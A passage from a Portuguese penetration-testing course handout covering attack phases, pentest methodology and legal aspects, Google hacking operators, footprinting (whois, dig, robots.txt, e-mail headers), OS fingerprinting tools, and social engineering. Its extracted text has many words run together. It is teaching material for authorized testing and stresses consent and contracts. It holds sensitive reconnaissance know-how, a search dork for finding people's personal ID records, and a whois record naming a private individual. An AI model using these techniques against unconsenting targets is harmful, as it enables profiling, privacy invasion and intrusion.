A partir dessas informações, o atacante pode buscar maiores detalhes na internet oufóruns especializados em busca de exploits que permitam explorar falhas existentesnas versões dos serviços sendo executados.

4.4.3 Ganhando acesso

Aqui o atacante coloca em prática tudo aquilo que planejou a partir das informaçõesobtidas previamente.

Dependendo de seus vetores de ataque, ele pode realizar uma série de ataquesbuscando ganhar acesso ao sistema alvo, como por exemplo:

• Ataques de força bruta local

• Ataques de força bruta remoto

• Captura de tráfego de rede

PenTest - Segurança Hacker Página 78

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

• Ataque de engenharia social

• Ataques às aplicações WEB

• Exploração de serviços

• Exploração de sistema operacional

Conseguindo acesso ao sistema, o atacante realizará uma série de operações bus-cando a elevação de seus privilégios caso o mesmo já não seja de root.

4.4.4 Mantendo acesso

Após conseguir o acesso, o atacante busca, de alguma forma, manter o acessoconseguido através de seus ataques. Isso normalmente não é utilizado por um pentester, a não ser que seja extremamente necessário.

O risco de configurar o sistema, implantando backdoors ou outro tipo de dispositivoque permita o acesso posterior, é que a ferramenta utilizada pode voltar- se contravocê, pois outras pessoas podem descobri-la, explorá-la e ganhar acesso facilmenteao sistema comprometido.

Portanto, essa fase, quando realizada durante um teste de invasão, precisa de ex-tremo cuidado e planejamento para não trazer comprometimentos e prejuízos des-necessários ao alvo.

4.4.5 Limpando rastros

Nessa fase final do ataque, o atacante apaga todos os seus rastros, todos os regis-tros de operações realizadas dentro do sistema comprometido.

Como o pen tester tem autorização para realizar os testes, não é necessário apa-gar rastros. Isso se torna importante para um pen tester, apenas se quiser testar,também, a capacidade da equipe de perícia forense e respostas a incidentes dedescobrir o que foi feito e recuperar informações alteradas.

PenTest - Segurança Hacker Página 79

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

4.5 Categorias de ataques

Há vários tipos de ataque possíveis de serem realizados. Podemos dividir tais ata-ques em dois grandes grupos:

4.5.1 Server Side Attacks

Server Side Attack ou ataque ao servidor foca na tentativa de explorar serviços queestão em execução em um determinado dispositivo. Normalmente não precisam deinteração do usuário e provê uma Shell remota para o atacante.

São exemplos de ataques a servidores:

• Ataques a servidores WEB

• Ataques a servidores de e-mail

• Ataques a servidores DNS

• Ataques a serviços RPC

4.5.2 Client Side Attacks

Client Side Attacks ou ataques ao cliente foca na tentativa de explorar aplicações quesão executadas no computador e que normalmente precisam de uma interação dapessoa para que o ataque seja executado.

São exemplos de ataques ao cliente:

• Exploração de falhas no Internet Explorer

• Exploração de falhas em editores de texto

• Exploração de falhas em Clientes de E-mail

• Exploração de falhas em programas reprodutores de vídeo

PenTest - Segurança Hacker Página 80

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

Nesses casos, o cliente precisa visitar um site, ou abrir um e-mail, ou então abrir umarquivo que explorará a aplicação que está instalada no computador do cliente.

Packs como Mpack e IcePack exploram vulnerabilidades em navegadores webs, ouseja, realizam um client side attack.

4.6 Metodologias existentes

Para um teste de invasão não ficar “solto” e sem uma sequência lógica coerente,a comunidade de segurança, através de alguns órgãos, associações, institutos epesquisadores, criou uma série de metodologias para servirem como guias básicospara a correta realização de testes de invasão.

Isso permite uma certa padronização nos testes realizados seguindo uma outra me-todologia.

Podemos citar internacionalmente:

• OSSTMM

• OWASP Testing Guide

• NIST SP800-115 e SP800-42

• ISSAF

• PenTest Frameworks

Nosso treinamento foi feito baseado na metodologia OSSTMM (Open Source Secu-rity Testing Methodology Manual), e nessa metodologia as premissas para realizarum teste são:

• O teste dever ser conduzido exaustivamente

• O teste deve contemplar todos os itens necessários

• O escopo do teste não deve ferir os direitos humanos básicos

• Os resultados devem ser quantificáveis

PenTest - Segurança Hacker Página 81

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

• Os resultados devem ser consistentes

• Os resultados devem conter apenas o que foi obtido com os testes

Essas são as premissas de um teste de intrusão. Ainda em acordo com a OSSTMM,o resultado final deve conter os seguintes tópicos:

• Data e hora dos testes

• Tempo de duração dos testes

• Analistas e pessoas envolvidas

• Tipo do teste

• Escopo do teste

• O resultado da enumeração

• Margens de erro

• Qualificação do risco

• Qualquer tipo de erro ou anomalia desconhecida

Dica: a metodologia OSSTMM é voltada mais para testes em sistemas e infra-estrutura, apesar de também contemplar testes em aplicações WEB. A metodologiadesenvolvida pelo OWASP, já é específica para testes de invasão em aplicaçõesWEB.

4.7 Como conduzir um teste de invasão

Alguns passos básicos são necessários para a preparação e realização de um testede invasão, para que o mesmo seja bem sucedido. Dentre esses passos, ou fases,podemos destacar os seguintes:

Passo 1: Converse com seu cliente sobre as necessidades do teste; Esse é umdos passos mais importantes, pois não podemos deixar que existam “zonas cinza”

PenTest - Segurança Hacker Página 82

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

no que foi contratado e acertado, entre o cliente e o pen tester. Aqui definimos tudo,desde o escopo, ao tipo de teste que será realizado. Aqui também é definido o queé permitido e o que não é permitido realizar durante o teste.

Passo 2: Prepare o contrato de serviço e peça ao cliente para assiná- los;

Depois de tudo definido no primeiro passo, é feito um contrato de prestação de ser-viço, onde está descrito o que será realizado (escopo, horários, equipe de profissio-nais, permissões, etc) e assinado por contratado e contratante.

Além de um contrato de prestação de serviço, é de grande importância a assinaturade um NDA (non disclosure agreement), que define que as informações que a equipedo teste de invasão terá acesso, não serão revelados ou divulgados, excetuando-seà pessoa que assinou o contrato de prestação de serviço.

Passo 3: Prepare um time de profissionais e agende o teste;

Aqui reunimos os profissionais que participarão dos testes e lhes passamos todas asinformações pertinentes ao que será realizado.

A partir da formação da equipe e definição de papéis para cada profissional, pode-mos agendar o teste com o cliente e iniciar o planejamento do mesmo com a equipeem conjunto.

Passo 4: Realize o teste; Nesse passo é onde o teste é efetivamente executado.Lembrando sempre de seguir o que foi acordado com o cliente e respeitar as cláusu-las do contrato e NDA assinados.

Passo 5: Analise os resultados e prepare um relatório; Todas as informaçõescoletadas, resultados obtidos e ocorrências durante a realização do teste são poste-riormente reunidas e analisadas. Os resultados dessas análises são colocados emum relatório, contextualizados, e é feita a descrição, explicação e possível soluçãopara cada falha encontrada e explorada.

Passo 6: Entregue o relatório ao cliente.

O relatório pós-teste, é entregue APENAS para a pessoa responsável pela contrata-ção do teste de invasão, ou definida em contrato.

Como as informações contidas em tal relatório são extremamente sensíveis, deve-setomar o máximo cuidado possível para que o mesmo não caia nas mãos de pessoassem autorização para ter acesso ao mesmo. O ideal é que a equipe não guarde nemmesmo uma cópia do relatório, e isso deve ser definido no NDA e no contrato deserviço.

PenTest - Segurança Hacker Página 83

Linux Force – www.linuxforce.com.br Introdução ao Teste de Invasão e Ética Hacker

Essa medida extrema é tomada justamente para evitar qualquer vazamento possívelde informações.

4.8 Aspectos Legais

É importante atentarmos para os aspectos legais de um teste de invasão, e se osmesmo estão de acordo com as leis vigentes no país, e principalmente com o que foiassinado no contrato de prestação de serviço ou NDA.

Devemos lembrar-nos de uma coisa:

TESTE DE INVASÃO SEM PERMISSÃO É CRIME!

Portanto, tenha sempre um contrato prévio assinado com o cliente, onde serão defi-nidos os seguintes pontos:

• Limites do teste: até onde pode ir;

• Horários: períodos de menor utilização ou menos críticos;

• Equipe de suporte: caso haja alguém para tomar providências caso alguémataque tenha efeitos colaterais;

• Contatos: ao menos três contatos, com e-mail, endereço e telefone;

• Permissão assinada: um documento assinado pelo responsável pela empresa,com os nomes das pessoas da equipe autorizadas a realizar os testes.

Dentro do que foi acordado, devemos ter o máximo cuidado para não causar compro-metimentos que tragam algum tipo de prejuízo ao cliente, como a indisponibilidadede informações vitais para o funcionamento organizacional, por exemplo.

Levando em conta esse aspecto, se possível, é interessante reproduzir o ambientede testes em máquina virtual para aproximar-se do possível comportamento do am-biente testado antes de finalmente lançarmos alguns tipos de ataques.

Isso evitaria a maior parte dos comprometimentos não planejados à infraestrutura docliente, e pode poupar muita dor de cabeça!

PenTest - Segurança Hacker Página 84

5 Google Hacking

5.1 Google Hacking

Google Hacking é a atividade de usar recursos de busca do site, visando atacar ouproteger melhor as informações de uma empresa. As informações disponíveis nosservidores web da empresa provavelmente estarão nas bases de dados do Google.

Um servidor mal configurado pode expor diversas informações da empresa no Goo-gle. Não é difícil conseguir acesso a arquivos de base de dados de sites através doGoogle.

O Google possui diversos recursos que podem ser utilizados durante um teste deinvasão, e justamente por isso é considerada a melhor ferramenta para os hackers,pois permite acesso a todo e qualquer tipo de informação que se queira. Podemosusar como exemplo, o recurso de “cache” do Google, onde o mesmo armazena ver-sões mais antigas de todos os sites que um dia já foram indexados por seus robôs.

Esse recurso permite que tenhamos acesso às páginas que já foram tiradas do ar,desde que ainda existam na base de dados do Google. Vamos imaginar que emalgum momento da história do site de uma organização, uma informação mais sen-sível estivesse disponível. Depois de um tempo, o webmaster tendo sido alertadoretirou tal informação do site. No entanto, se a página do site já tiver sido indexadapelo Google, é possível que mesmo tendo sido alterada, ou retirada, ainda possamosacessá-la utilizando o recurso de cache do Google.

5.2 Comandos Avançados do Google

5.2.1 intitle, allintitle

Busca conteúdo no título (tag title) da página.

Linux Force – www.linuxforce.com.br Google Hacking

Quando utilizamos o comando intitle, é importante prestar atenção à sintaxe da stringde busca, posto que a palavra que segue logo após o comando intitle é consideradacomo a string de busca. O comando allintitle quebra essa regra, dizendo ao Googleque todas as palavras que seguem devem ser encontradas no title da página, porisso, esse último comando é mais restritivo.

5.2.2 inurl, allinurl

Encontra texto em uma URL.

Como explicado no operador intitle, pode parecer uma tarefa relativamente simplesutilizar o operador inurl sem dar maior atenção ao mesmo. Mas devemos ter emmente que uma URL é mais complicada do que um simples title, e o funcionamentodo operador inurl pode ser igualmente complexo.

Assim como o operador intitle, inurl também possui um operador companheiro, que éo allinurl, que funciona de maneira idêntica e de forma restritiva, exibindo resultadosapenas em que todas as strings foram encontradas.

5.2.3 filetype

Busca por um arquivo de determinado tipo.

O Google pesquisa mais do que apenas páginas web. É possível pesquisar muitostipos diferentes de arquivos, incluindo PDF (Adobe Portable Document Format) eMicrosoft Office. O operador filetype pode ajudá-lo na busca de tipo de arquivosespecíficos. Mais especificamente, podemos utilizar esse operador para pesquisasde páginas que terminam em uma determinada extensão.

5.2.4 allintext

Localiza uma string dentro do texto de uma página.

O operador allintext é talvez o mais simples de usar, pois realiza a função de buscamais conhecida como: localize o termo no texto da página.

PenTest - Segurança Hacker Página 86

Linux Force – www.linuxforce.com.br Google Hacking

Embora este operador possa parecer genérico para ser utilizado, é de grande ajudaquando sabe que a string de busca apenas poderá ser encontrada no texto da página.Utilizar o operador allintext também pode servir como um atalho para "encontrar estastring em qualquer lugar, exceto no title, URL e links".

5.2.5 site

Direciona a pesquisa para o conteúdo de um determinado site.

Apesar de ser tecnicamente uma parte da URL, o endereço (ou nome de domínio)de um servidor pode ser mais bem pesquisada com o operador site. Site permite quevocê procure apenas as páginas que estão hospedadas em um servidor ou domínioespecífico.

5.2.6 link

Busca por links para uma determinada página.

Em vez de fornecer um termo de pesquisa, o operador necessita de um link URL ounome do servidor como um argumento.

5.2.7 inanchor

Localiza texto dentro de uma âncora de texto.

Este operador pode ser considerado um companheiro para o operador link, uma vezque ambos buscam links. O operado inanchor, no entanto, pesquisa a representaçãode texto de um link, não o URL atual.

Inanchor aceita uma palavra ou expressão como argumento, como inanchor:click ouinanchor:linuxforce. Este tipo de pesquisa será útil especialmente quando começa-mos a estudar formas de buscar relações entre sites.

PenTest - Segurança Hacker Página 87

Linux Force – www.linuxforce.com.br Google Hacking

5.2.8 daterange

Busca por páginas publicadas dentro de um “range” de datas.

Você pode usar este operador para localizar páginas indexadas pelo Google em umdeterminado intervalo de datas. Toda vez que o Google rastreia uma página, a dataem sua base de dados é alterada. Se o Google localizar alguma página Web obscura,pode acontecer de indexá-la apenas uma vez e nunca retornar à ela.

Se você achar que suas pesquisas estão entupidas com esses tipos de páginas obs-curas, você pode removê-las de sua pesquisa (e obter resultados mais atualizados)através do uso eficaz do operador daterange.

Lembrando que a data deve ser informada no formato do calendário Juliano, infor-mando o número de dias existentes entre 4713 AC e a data em que se quer buscar.

5.2.9 cache

Mostra a versão em cache de uma determinada página.

Como já discutimos, o Google mantém "snapshots"de páginas que indexou e quepodemos acessar através do link em cache na página de resultados de busca. Sequiser ir direto para a versão em cache de uma página, sem antes fazer uma con-sulta ao Google para chegar ao link em cache na página de resultados, você podesimplesmente usar o operador cache em uma consulta, como cache:blackhat.com

5.2.10 info

Mostra conteúdo existente no sumário de informações do Google.

O operador info mostra o resumo das informações de um site e fornece links paraoutras pesquisas do Google que podem pertencer a este site. O parâmetro informadoà este operador, deve ser uma URL válida.

PenTest - Segurança Hacker Página 88

Linux Force – www.linuxforce.com.br Google Hacking

5.2.11 related

Mostra sites relacionados.

O operador related exibe o que o Google determinou como relacionado a um determi-nado site. O parâmetro para esse operador é uma URL válida. É possível conseguiressa mesma funcionalidade, clicando no link "Similar Pages"a partir de qualquer pá-gina de resultados de busca, ou usando o "Find pages similar to the page"da páginado formulário de pesquisa avançada

5.3 Google Hacking Database

Há um banco de dados virtual, com tags de busca no Google previamente criadas,para conseguir informações específicas.

A partir das tags existentes, podemos encontrar muitas coisas interessantes semprecisarmos nos preocupar em como desenvolver buscas específicas, utilizando osoperadores do Google, e testá-las até conseguirmos que os filtros corretos funcio-nem.

Mas o mais importante que devemos manter em mente, é a possibilidade e adaptartais tags de busca para nossas necessidades.

GHD ⇒ http://www.exploit-db.com/google-dorks/

5.4 Levantamento de informações

O Google é a principal ferramenta para o levantamento de informações de nosso alvo.É o melhor sistema público para utilizarmos em busca de informações sobre qualquercoisa em relação ao nosso alvo: sites, propagandas, parceiros, redes sociais, grupose etc.

Além do Google, há outros sites específicos que auxiliam no processo de levanta-mento de informações, os quais conheceremos mais adiante.

PenTest - Segurança Hacker Página 89

Linux Force – www.linuxforce.com.br Google Hacking

Um simples exemplo do que podemos encontrar no Google, e que pode voltar- secontra a pessoa que disponibilizou tais informações online, é o seguinte: digitar nacaixa de busca currículo + cpf .

Certamente vários resultados retornarão com links onde podemos encontrar nomecompleto, endereço, telefone, CPF, identidade e mais algumas informações das pes-soas que disponibilizaram seus dados na internet. Tendo conhecimento de comoesses dados podem ser utilizados de maneira maliciosa, podemos ter mais consci-ência ao publicarmos quaisquer informações nossas na internet.

PenTest - Segurança Hacker Página 90

6 Levantamento de Informações

6.1 Objetivos

• Conhecer os principais meios para coletar informações sobre o alvo

• Coletar informações utilizando ferramentas públicas

• Coletar informações utilizando ferramentas específicas

• Levantar domínios utilizando consultas públicas e ferramentas

6.2 Footprint

Footprint é a primeira etapa a ser realizada em um teste de intrusão. Durante essaetapa, o Pen-tester coleta o máximo de informações para alimentar a anatomia deataque. Podemos dizer que é a fase em que o Pen-tester se prepara para realizar oataque.

Em média, um Pen-tester gasta 70% do tempo analisando um alvo e levantandoinformações sobre o mesmo. Apenas 30% do tempo e usado para realizar o ata-que e avaliar a possibilidade de um atacante realizar procedimentos pós-invasão namáquina alvo.

Quando estamos realizando um footprint, devemos buscar informações relativas àtopologia da rede, sistemas operacionais, quantidade de máquinas e localização fí-sica. Além disso, é importante também descobrir informações sobre os funcionáriosda empresa, como: emails, cargos e também função específica no ambiente.

Linux Force – www.linuxforce.com.br Levantamento de Informações

"Dê-me seis horas para cortar uma árvore, e eu gastarei as primeiras quatrohoras afiando o machado."

Abraham Lincoln

6.3 Por onde começar?

O primeiro passo para começar a coleta de informações é navegar no website doalvo. Vamos tomar como exemplo o website que hospeda o kernel Linux. Abra onavegador e aponte para http://www.kernel.org.

Que tipo de informações você conseguiu encontrar no site?

Neste site há pelo menos três informações que um cracker levaria em considera-ção:

• Dois e-mails válidos

• Um endereço para acompanhar as estatísticas dos servidores

• E uma lista com tecnologias e fornecedores

Não acredita? Então de uma olhada:

Os e-mails são [email protected] e [email protected]

http://cacti.kernel.org/graph_view.php?action=preview

http://www.kernel.org/powered.html

Ainda não encontrou? Então experimente olhar o código fonte da aplicação!

Como vimos, um simples acesso e um pouco de observação no site do alvo podenos fornecer algumas informações no mínimo interessantes. Depois de observar umwebsite à procura de informações, o próximo passo é pesquisar sobre coisas não tãoóbvias, porém, ainda sim públicas.

PenTest - Segurança Hacker Página 92

Linux Force – www.linuxforce.com.br Levantamento de Informações

6.4 Consulta a informações de domínio

Após observar o site do alvo, é de interesse do atacante conhecer detalhes referentesao nome de domínio do cliente. A primeira coisa a ser feita é buscar informaçõessobre o proprietário de um domínio. Isso pode ser feito utilizando o comando whois.

1 #whois linuxforce.com.br

Vamos qual o resultado que obtemos a esse comando:

1 domain: linuxforce.com.br2 owner: maria rosa mariano galvao3 ownerid: 696.856.906 -004 country: BR5 owner -c: MRMGA6 admin -c: MRMGA7 tech -c: SRG1078 billing -c: MRMGA9 nserver: ns1.linuxforce.com.br 108.163.170.146

10 nsstat: 20121123 AA11 nslastaa: 2012112312 nserver: ns2.linuxforce.com.br 108.163.170.14713 nsstat: 20121123 AA14 nslastaa: 2012112315 saci: yes16 created: 20101201 #763310117 expires: 2012120118 changed: 2012041119 status: published2021 nic -hdl -br: MRMGA22 person: maria rosa mariano galvao23 e-mail: [email protected] created: 2010090125 changed: 20110929

Podemos concluir que com um simples comando, disponível em praticamente qual-quer sistema operacional, foi possível obter o nome do responsável pelo domínio, onome do responsável técnico pelo domínio, o nome dos dois servidores de DNS e oCNPJ da empresa, localizado no campo ownerid.

PenTest - Segurança Hacker Página 93

Linux Force – www.linuxforce.com.br Levantamento de Informações

Além da consulta whois em sistemas operacionais, é possível ainda utilizar serviçosque consultam o a base de dados de proprietários de domínios através de ferramen-tas web, como o próprio http://registro.br, por exemplo.

https://registro.br/cgi-bin/whois/

Se compararmos a saída do site com a saída do comando whois, veremos que oresultado é idêntico.

É importante saber que para cada região do mundo inteiro, há organizações res-ponsáveis pelo registro de domínios, acima das organizações responsáveis pelosregistros em cada país.

No quadro abaixo, temos o nome e o endereço das organizações responsáveis emcada parte do globo pelo gerenciamento e liberação de domínio (incluindo o grupode IPs) para cada região:

6.5 Consultando servidores DNS

Como sabemos, os servidores DNS são responsáveis por traduzir os nomes canô-nicos de um domínio para o seu respectivo endereço IP. Sendo assim, um servidorDNS conhece todos servidores que estão acessíveis através da rede pública.

Vamos consultá-lo, então.

1 #dig -t MX linuxforce.com.br

PenTest - Segurança Hacker Página 94

Linux Force – www.linuxforce.com.br Levantamento de Informações

2 #dig -t NS linuxforce.com.br

Os campos MX, e NS fornecem, respectivamente, o nome dos servidores de e-maile o nome de todos os servidores de DNS.

Com essa consulta, já conseguimos, inclusive, endereços de servidores que utiliza-remos em nossa varredura e enumeração de serviços.

6.6 Consultando websites antigos

Além da possibilidade de utilizarmos a opção em cache do Google, é possível uti-lizarmos outros serviços que possibilitam que acessemos versões mais antigas dequalquer site que já tenha sido publicado na web.

http://www.archive.org

Com isso, podemos encontrar informações que podem ser úteis, principalmente paraataques de engenharia social, pois encontramos produtos antigos, ex-funcionários,informações que foram retiradas do site por serem sensíveis e etc.

Utilizando esse serviço e pesquisando o site da Linux Force, obtemos o seguinteresultado:

PenTest - Segurança Hacker Página 95

Linux Force – www.linuxforce.com.br Levantamento de Informações

6.7 Webspiders

Webspiders são programas que navegam automaticamente por websites para co-letar informações. Pensando no Google, um webspider feito pelo Google navegapelos links das páginas e alimenta uma base de dados do Google, que é usada paraconsultas durante as buscas realizadas pelos usuários.

Vamos parar e lembrar como funcionavam antigamente os sistemas de buscas comoYahoo!, Cade?, Aonde.com, dentre outros. Antigamente, nós precisávamos cadas-trar os nossos sites e as palavras chave referentes ao site, para ele ser encontradodurante as buscas. Porém, o Google inovou na maneira de alimentar as bases de da-dos dele, usando webspider. Hoje, basta que um site esteja na internet e linkado paraque ele apareça nas bases do Google, sem precisar de nenhum cadastro por partedo criador do site nas ferramentas de buscas. Porém, isso expôs muitas informaçõese para isso, foram criados os arquivos robots.txt.

Um webspider consulta o arquivo robots.txt que está localizado no diretório raiz dowebsite para saber quais arquivos ele não deve analisar. Portanto, os arquivos oudiretórios que estão listados em um arquivo robots.txt não aparecerão nos resultadosdas buscas realizadas em sites como o Google.

Vamos a um exemplo:

http://www.linuxforce.com.br/robots.txt

Portanto, os arquivos robots.txt podem revelar para nós informações sobre arquivose diretórios que poderíamos não conhecer e até mesmo não estar linkado no site.

Mais informações sobre os arquivos robots.txt podem ser obtidas no site

http://www.robotstxt.org/orig.html

PenTest - Segurança Hacker Página 96

Linux Force – www.linuxforce.com.br Levantamento de Informações

6.8 Netcraft

Netcraft é uma empresa européia que prove serviços de internet. Dentro de algunsserviços que ela fornece está a análise de mercado para empresas de web hostinge servidores web, incluindo detecção do sistema operacional e versão do servidorweb, e em alguns casos, informações sobre uptime do servidor, já que normalmenteesse fator é determinante na escolha de uma empresa de hospedagem de sites.

Para nós, pode ser útil para exibir a versão do sistema operacional e servidor webque um determinado host está usando, além de manter um histórico das versões queo mesmo host já usou anteriormente.

http://www.netcraft.com

6.9 Buscando relacionamentos

Através de relacionamentos encontrados na web, podemos conseguir mais informa-ções de nosso alvo.

Informações de relacionamentos podem ser encontradas em site com links para osite do alvo, sites secundários que tem relação com o site principal do alvo, compa-nhias que fazem negócios ou estão sob a mesma administração que nosso alvo eetc.

Essas servem para entendermos melhor como a organização trabalha, se possui ou-tros ramos de atividades, organizações “irmãs” e parcerias. Com tais informações emmãos, e um melhor conhecimento da estrutura organizacional, podemos, inclusive,realizar ataques de engenharia social mais eficazes.

O Google nos fornece alguns operadores que nos auxiliam nessa busca, e que jáestudamos anteriormente. São eles:

• info

• link

• related

PenTest - Segurança Hacker Página 97

Linux Force – www.linuxforce.com.br Levantamento de Informações

6.10 Rastreamento de E-mails

A análise de e-mails é normalmente feita pela área de Forense Computacional.

Porém, podemos usar um e-mail para obter informações sobre o host da pessoa,quando esse não é de conhecimento do atacante e precisa ser descoberto, pois éum possível alvo.

O correio eletrônico é dividido em duas partes: Cabeçalho (Header) e Corpo (Body)do e-mail. No cabeçalho é onde encontramos diversos campos com informações decontrole, destinatário, remetente, data de envio, dentre outras informações.

E é no corpo da mensagem que encontramos a mensagem, em si.

De acordo com a Rfc 2821 / 2822 , temos os seguintes campos presentes no cabe-çalho de um e-mail:

Campos de origem:

• “From:” - autor da mensagem

• “Sender:” - remetente da mensagem

• “Reply-to:” - e-mail sugerido pelo autor da mensagem para que as respostassejam enviadas

Campos de destino:

• “To:” - endereço dos receptores primários da mensagem

• “Cc:” - Carbon Copy – receberão uma cópia da mensagem, com o e- mail visívelpara todos

• “Bcc:” - Blind Carbon Copy – receberão uma cópia da mensagem, sem ter oe-mail visível para todos

Campo de data de origem:

• “Date:” – Hora da criação da mensagem

Campos de identificação:

PenTest - Segurança Hacker Página 98

Linux Force – www.linuxforce.com.br Levantamento de Informações

• “Message-ID:” – Identificador de mensagem único. Valor único determinadopelo servidor que transmite a mensagem;

• “In-Reply-To:” – Usado quando uma mensagem é respondida. mensagem érespondida. Identificador da mensagem respondida;

• “References:” – Usado quando uma Referências.

Campos de informação:

• “Subject:” – Assunto da mensagem;

• “Comments:” – Comentários sobre a mensagem;

• “Keywords:” – Palavras chaves relacionadas à mensagem;

Campos de Rastreamento:

• “Return-Path:” – Caminho de volta da mensagem para o remetente. Essecampo é adicionado pelo último MTA que entrega o e-mail ao destinatário

• “Received:” – Contém informações para ajudar na análise de problemas coma entrega e recebimento das mensagens. Todo e-mail possui pelo menosum campo “Received”, que é adicionado por cada servidor onde a mensagempassa.

O campo que interessa a nós é o campo “Received:”, que contém informações sobreo endereço IP de onde a mensagem de correio eletrônico partiu.

6.11 Fingerprint

Fingerprint é uma das principais técnicas de levantamento de informação (footprint)que é realizada por um Pen-Tester antes que o mesmo comece a realizar os ataquesem seu alvo.

A função dessa técnica é identificar a versão e distribuição do sistema operacionalque irá receber a tentativa de intrusão. Sendo assim, essa técnica é extremamenteimportante para que o atacante consiga desenvolver de maneira mais precisa e me-nos ruidosa seu ataque. Usando essa técnica o Pen-Tester estará explorando proble-

PenTest - Segurança Hacker Página 99

Linux Force – www.linuxforce.com.br Levantamento de Informações

mas da pilha TCP/IP e verificando características únicas que permitem que o sistemaalvo seja identificado.

Só depois que isso for feito, poderão ser escolhidas as melhores ferramentas paraexplorar o sistema.

Para que o fingerprint apresente resultados confiáveis são necessárias análises com-plexas, como:

• Analise de pacotes que trafegam pela rede;

• Leitura de banners (assinaturas do sistema);

• Análise de particularidades da pilha TCP/IP.

Para realizar tais análises, podemos utilizar ferramentas específicas, conhecidascomo scanners de fingerprint, que são softwares usados para realizar tarefas dedetecção de sistemas operacionais.

Entre os scanners existentes, podemos dividi-los basicamente em dois tipos:

6.12 Fingerprint passivo

O scanner atua como um “farejador” na rede, ou seja, fica escutando os pacotesque passam por ela, detectando o formato do pacote que esta passando consegueidentificar o sistema operacional.

Para esse tipo de operação, utilizamos a ferramenta p0f, que permite “farejarmos” ospacotes que trafegam na rede.

1 #p0f -i eth0 -o log

Com o parâmetro -i definimos em qual dispositivo de rede ele ficará farejando ospacotes, se não definimos nada, ele assume “all”, farejando todos os dispositivosdisponíveis.

Com o parâmetro -o, dizemos para o p0f armazenar tudo o que for capturado em umarquivo de saída, com nome definido por nós.

PenTest - Segurança Hacker Página 100

Linux Force – www.linuxforce.com.br Levantamento de Informações

6.13 Fingerprint ativo

O scanner envia pacotes manipulados e forjados, baseado em uma tabela própria defingerprint. Com isso, ele analisa a resposta do pacote e compara com a tabela, paradefinir qual o sistema operacional.

O risco desse tipo de fingerprint, é que se o alvo estiver com um firewall bem con-figurado e um IDS/IPS, nosso acesso pode ser logado em seu sistema e pode serdifícil que consigamos muitas informações.

Duas ferramentas que podemos utilizar em um fingerprint ativo são nmap e xprobe2,além, obviamente, dos comandos ping e traceroute, só para citarmos dois comandosbásicos.

6.13.1 Descobrindo um Sistema Operacional usando ICMP

Um simples ping é capaz de revelar o sistema operacional de uma máquina.

1 #ping linuxforce.com.br2 PING linuxforce.com.br (108.163.170.150) 56(84) bytes of data.3 64 bytes from 108.163.170.150: icmp_seq =2 ttl=47 time =325 ms4 64 bytes from 108.163.170.150: icmp_seq =3 ttl=47 time =471 ms5 64 bytes from 108.163.170.150: icmp_seq =4 ttl=47 time =373 ms

A informação importante está no campo TTL (Time To Live). A maioria dos sistemasoperacionais se diferencia pelo valor retornado de TTL. Veja a lista abaixo:

• Cyclades - Normalmente 30

• Linux - Normalmente 64

• Windows - Normalmente 128

• Cisco - Normalmente 255

• Linux + iptables - Normalmente 255

PenTest - Segurança Hacker Página 101

Linux Force – www.linuxforce.com.br Levantamento de Informações

6.13.2 Calculando HOP

Utilizando os comandos traceroute e ping conjugados para obter informações, pode-mos calcular o ttl e descobrir o sistema operacional do alvo.

Com o traceroute podemos ver que temos 13 saltos, até que os pacotes são interrom-pidos, o que pode representar um firewall ou algo do tipo que descarte os pacotes.Agora que sabemos por quantos roteadores estamos passando, podemos usar ocomando ping para descobrir o TTL do site.

1 #ping linuxforce.com.br2 PING linuxforce.com.br (108.163.170.150) 56(84) bytes of data.3 64 bytes from 108.163.170.150: icmp_seq =2 ttl=47 time =325 ms

Somando a quantidade de saltos (13) com o valor de ttl (47), temos 60. O maispróximo de 60 é 64, que representa o Linux. A partir daí, podemos concluir que osistema operacional utilizado no servidor onde o site está hospedado é Linux.

6.13.3 Fingerprint através do xprobe2

Ferramenta para fingerprint ativo apresentada na conferencia BlackHat Las-Vegasem 2001 criada por Fyodor criador da ferramenta nmap e Ofir Arkin co-fundador doprojeto honeynet.org.

Seu banco de dados de assinaturas fica em:

1 /usr/local/etc/xprobe2/xprobe2.conf

Execute o xprobe2 em linuxforce.com.br para descobrir o sistema operacional:

1 #xprobe2 linuxforce.com.br

Agora tente utilizar o fingerprint sobre uma porta aberta:

1 #xprobe2 -p tcp :80: open linuxforce.com.br

PenTest - Segurança Hacker Página 102

Linux Force – www.linuxforce.com.br Levantamento de Informações

Percebe-se que quanto maior o número de informações que passamos para o xprobe2,maior é a precisão no reconhecimento do Sistema Operacional do alvo.

6.14 Contramedidas

• Configurar as aplicações instaladas nos servidores, atentando para as informa-ções que elas exibem durante as requisições.

• Configurar corretamente as regras de firewall para bloquear requisições malici-osas.

• Ter cuidado com as informações publicadas na WEB.

• Configurar corretamente o arquivo robot.txt, para que diretórios com arquivossensíveis não sejam indexados pelos sistemas de busca.

PenTest - Segurança Hacker Página 103

7 Engenharia Social

7.1 O que é Engenharia Social?

Podemos considerar a engenharia social como a arte de enganar pessoas para con-seguir informações, as quais não deviam ter acesso.

Muitas vezes empregados de uma empresa deixam escapar informações sigilosasatravés de um contato via telefone ou mesmo conversando em locais públicos como:corredores, elevadores e bares.

Uma empresa pode ter os melhores produtos de segurança que o dinheiro podeproporcionar. Porém, o fator humano é, em geral, o ponto mais fraco da segurança.

7.2 Tipos de Engenharia Social

7.2.1 Baseada em pessoas

As técnicas de engenharia social baseada em pessoas possuem diversas caracte-rísticas que são utilizadas para que o atacante consiga as informações que deseja,dentre elas podemos citar:

• Disfarces

• Representações

• Uso de cargos de alto nível

• Ataques ao serviço de Helpdesk

Linux Force – www.linuxforce.com.br Engenharia Social

7.2.2 Baseada em computadores

Esses ataques são caracterizados por utilizarem técnicas de ataque baseadas nodesconhecimento do usuário com relação ao uso correto da informática.

Exemplos:

• Cavalos de Tróia anexados a e-mails

• E-mails falsos

• WebSites falsos

7.3 Formas de ataque

7.3.1 Insider Attacks

Insiders são pessoas de dentro da própria organização.

O objetivos por detrás dos ataques de insiders podem ser vários, desde descobrirquanto o colega do lado ganha, até conseguir acesso a informações confidenciaisde um projeto novo para vender ao concorrente de seu empregador.

7.3.2 Roubo de identidade

Atualmente, quando alguém cria uma nova identidade baseando-se em informaçõesde outra pessoa, essa identidade é chamada de “laranja”.
